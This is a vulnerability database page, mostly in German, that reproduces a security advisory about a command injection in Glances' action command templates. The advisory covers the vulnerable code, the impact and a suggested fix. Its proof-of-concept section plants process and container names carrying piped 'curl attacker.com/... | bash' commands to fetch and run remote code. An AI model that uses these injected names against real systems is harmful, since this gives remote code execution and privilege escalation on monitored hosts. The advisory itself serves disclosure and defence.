Hoch

Glances has a Command Injection via Process Names in Action Command Templates

  • Veröffentlicht: 16.03.2026
  • Aktualisiert: 11.10.2026 14:17

Summary

The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., {{name}}, {{key}}) that are populated with runtime monitoring data. The secure_popen() function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to subprocess.Popen(shell=False). When a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands.

Details

The action execution flow:

  1. Admin configures an action in glances.conf (documented feature):
ini
[cpu]
critical_action=echo "High CPU on {{name}}" | mail admin@example.com
  1. When the threshold is exceeded, the plugin model renders the template with runtime stats (glances/plugins/plugin/model.py:943):
python
self.actions.run(stat_name, trigger, command, repeat, mustache_dict=mustache_dict)
  1. The mustache_dict contains the full stat dictionary, including user-controllable fields like process name, filesystem mnt_point, container name, etc. (glances/plugins/plugin/model.py:920-943).

  2. In glances/actions.py:77-78, the Mustache library renders the template:

python
if chevron_tag:
    cmd_full = chevron.render(cmd, mustache_dict)
  1. The rendered command is passed to secure_popen() (glances/actions.py:84):
python
ret = secure_popen(cmd_full)

The secure_popen vulnerability (glances/secure.py:17-30):

python
def secure_popen(cmd):
    ret = ""
    for c in cmd.split("&&"):
        ret += __secure_popen(c)
    return ret

And __secure_popen() (glances/secure.py:33-77) splits by > and | then calls Popen(sub_cmd_split, shell=False) for each segment. The function splits the ENTIRE command string (including Mustache-rendered user data) by &&, >, and | characters, then executes each segment as a separate subprocess.

Additionally, the redirect handler at line 69-72 writes to arbitrary file paths:

python
if stdout_redirect is not None:
    with open(stdout_redirect, "w") as stdout_redirect_file:
        stdout_redirect_file.write(ret)

PoC

Scenario 1: Command injection via pipe in process name

bash
# 1. Admin configures processlist action in glances.conf:
# [processlist]
# critical_action=echo "ALERT: {{name}} used {{cpu_percent}}% CPU" >> /tmp/alerts.log

# 2. Attacker creates a process with a crafted name containing a pipe:
cp /bin/sleep "/tmp/innocent|curl attacker.com/evil.sh|bash"
"/tmp/innocent|curl attacker.com/evil.sh|bash" 9999 &

# 3. When the process triggers a critical alert, secure_popen splits by |:
#   Command 1: echo "ALERT: innocent
#   Command 2: curl attacker.com/evil.sh   <-- INJECTED
#   Command 3: bash used 99% CPU" >> /tmp/alerts.log

Scenario 2: Command chain via && in container name

bash
# 1. Admin configures containers action:
# [containers]
# critical_action=docker stats {{name}} --no-stream

# 2. Attacker names a Docker container with && injection:
docker run --name "web && curl attacker.com/rev.sh | bash && echo " nginx

# 3. secure_popen splits by &&:
#   Command 1: docker stats web
#   Command 2: curl attacker.com/rev.sh | bash   <-- INJECTED
#   Command 3: echo --no-stream

Impact

  • Arbitrary command execution: An attacker who can control a process name, container name, filesystem mount point, or other monitored entity name can execute arbitrary commands as the Glances process user (often root).

  • Privilege escalation: If Glances runs as root (common for full system monitoring), a low-privileged user who can create processes can escalate to root.

  • Arbitrary file write: The > redirect handling in secure_popen enables writing arbitrary content to arbitrary file paths.

  • Preconditions: Requires admin-configured action templates referencing user-controllable fields + attacker ability to run processes on monitored system.

Recommended Fix

Sanitize Mustache-rendered values before secure_popen processes them:

python
# glances/actions.py

def _escape_for_secure_popen(value):
    """Escape characters that secure_popen treats as operators."""
    if not isinstance(value, str):
        return value
    value = value.replace("&&", " ")
    value = value.replace("|", " ")
    value = value.replace(">", " ")
    return value

def run(self, stat_name, criticality, commands, repeat, mustache_dict=None):
    for cmd in commands:
        if chevron_tag:
            if mustache_dict:
                safe_dict = {
                    k: _escape_for_secure_popen(v) if isinstance(v, str) else v
                    for k, v in mustache_dict.items()
                }
            else:
                safe_dict = mustache_dict
            cmd_full = chevron.render(cmd, safe_dict)
        else:
            cmd_full = cmd
        ...

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) glances < 4.5.2 4.5.2

Verweise

CVSS-Wert 7/10
CVSS-Vektor
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Schwäche (CWE)
CWE-78
Plattform
Python (PyPI)
Paket
glances
Veröffentlicht
16.03.2026
Aktualisiert
11.10.2026 14:17

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-2167 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-vcv2-q258-wrg7 - CC BY 4.0

Schwachstellenhistorie: glances

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (26) im Archiv
Einträge insgesamt
26
Erste → letzte
07.2021 08.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 1
  • Hoch 19
  • Mittel 6

Veröffentlichungen pro Jahr

  1. 2021: 1
  2. 2022: 0
  3. 2023: 0
  4. 2024: 0
  5. 2025: 0
  6. 2026: 25
Schweregrad:
  1. Glances has a Command Injection via Process Names in Action Command Templates dieser Eintrag
    Hoch · 7.0 CVE-2026-32608 < 4.5.2 4.5.2
  2. Hoch CVE-2026-32596 < 4.5.2 4.5.2
  3. Hoch CVE-2026-30928 < 4.5.1 4.5.1

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.